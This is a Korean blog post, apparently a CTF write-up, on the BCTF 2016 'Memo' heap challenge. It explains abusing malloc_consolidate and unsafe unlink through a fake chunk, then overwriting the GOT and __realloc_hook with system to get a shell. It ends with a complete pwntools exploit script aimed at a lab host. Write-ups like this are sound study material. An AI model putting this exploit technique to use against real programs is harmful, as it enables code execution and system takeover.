ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [BCTF 2016] Memo
    CTF 2016. 11. 28. 22:00

    이 문제는 진심 개쩌는 문제다. 내가 이런 류의 문제를 안풀어서 그런건지 모르겠지만 진짜 개쩔었다 개신기하다


    unsafe_unlink를 다루는 문제지만 free 함수가 존재하지않아서 다른방법으로 free를 해야했음.. 진짜 너무궁금해서 롸업을 봐버림.. 근데 롸업을봐도 이건 개 신박하고 공부가 오질라게 잘되는 문제였다.


    1. fastbin으로 할당됫던것들은 large chunk가 한번 할당되게되면 더이상 쓸모가없다고 지멋대로 판단해 smallbin으로 합쳐버린다.





    realloc 으로 먼저 힙에 할당을 해주는데, 각각 name과 titile을 나타낸다.


    그냥 별건없고, 보여주고, 페이지수정하고, 새로 페이지만들고, 네임입력해주고, 타이틀입력해주는 메뉴들이다.


    아 점점 롸업쓰기가 귀찮아진다 하 ㅂㄷㅂㄷ




    처음에 edit으로 수정해주면, 0x81 사이즈만큼 할당된곳 즉  ptr 이였던곳을 수정할수있다.

    근데 저만한 사이즈면 fake chunk를 만들어 줄 수 있다.


    그럼 만들면되지!




    이렇게 prev_inuse를 0으로 셋한 가짜 size chunk를 만들어주고, fastbins의 특징을 이용하면된다.


    fakechunk를 만들고 큰사이즈의 malloc을 해준다.


    fast bin내의 chunk들을 병합하는 일은 malloc_consolidate() 에서 처리하게되는데, fastbins 내에 모든 청크에대해 이전청크와 다음청크가 사용중인지 아닌지를 판단하고 병합한다. 그럼 이를 이용해서 병합해 unlink를 부를수있다.




    그럼 정상적으로 병합을 시킨다.



    원하는곳에 데이터를 쓸수있다.



    unlink를 호출했으니 계속해서 fake chunk를 만들고 got 덮어주고, 릭하고 하면 풀리게되는데 여기서 하나 더 배운점이 있다.


    realloc_hook을 덮는건데, realloc_hook을 system으로 덮고 인자를 /bin/sh 주소로 줘서 system("/bin/sh")를 호출할수있다.


    신기방기...


    아래 코드보면 이해될듯 내 방식대로 다시한번 풀어봐야겠다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    from pwn import *
     
    = remote("10.211.55.3",9908)
     
    def show():
        print p.recvuntil("6.exit")
        p.sendline("1")
     
     
    def edit(data):
        print p.recvuntil("6.exit")
        p.sendline("2")
        print p.recvuntil("page:")
        p.sendline(data)
     
    def tear(size,data):
        print p.recvuntil("6.exit")
        p.sendline("3")
        print p.recvuntil("(bytes):")
        p.sendline(str(size))
        print p.recvuntil("page:")
        p.sendline(data)
     
    def name(data):
        print p.recvuntil("6.exit")
        p.sendline("4")
        print p.recvuntil("name:")
        p.sendline(data)
     
    def title(data):
        print p.recvuntil("6.exit")
        p.sendline("5")
        print p.recvuntil("title:")
        p.sendline(data)
     
     
    raw_input()
    payload = "A"*0x38
    payload += p64(0x41)
     
    edit(payload)
     
    tear(180,"")
    tear(128,"")
     
    payload = p64(0)
    payload += p64(0x20)
    payload += p64(0x602040-24)
    payload += p64(0x602040-16)
    payload += p64(0x20)
    payload += p64(0x40)
    name(payload)
     
    tear(0x400,"")
     
    payload = p64(0)
    payload += p64(0x602030)
    payload += p64(0x601fb8)
     
    name(payload)
    show()
    print p.recvuntil("write:\n")
    leak = u64(p.recv(6).ljust(8,'\x00'))
    image_base = leak - 0x6fd60
    oneshot = image_base + 0x4647C
    realloc_hook = image_base + 0x3be730
    log.info("Leak puts@libc: " + hex(leak))
    log.info("LIBC BASE: " + hex(image_base))
    log.info("onshot: " + hex(oneshot))
    log.info("realloc_hook: " + hex(realloc_hook))
     
    payload = p64(realloc_hook)
    payload += p64(image_base + 0x17c8c3)
    payload += p64(0)*3
    title(payload)
     
    payload = p64(image_base+0x46590)
    # payload = p64(oneshot)
    title(payload)
     
    p.sendline("3")
    p.sendline("128")
     
    p.interactive()
    cs

    'CTF' 카테고리의 다른 글

    SECCON CTF 2016 - chat  (0) 2016.12.13
    SECCON CTF 2016 - jmper  (1) 2016.12.11
    Plaid CTF 2014 ezhp  (1) 2016.11.28
    [Belluminar 2016] remuheap  (2) 2016.11.27
    HITCON 2014 stkof  (0) 2016.11.26

    댓글

Designed by Tistory.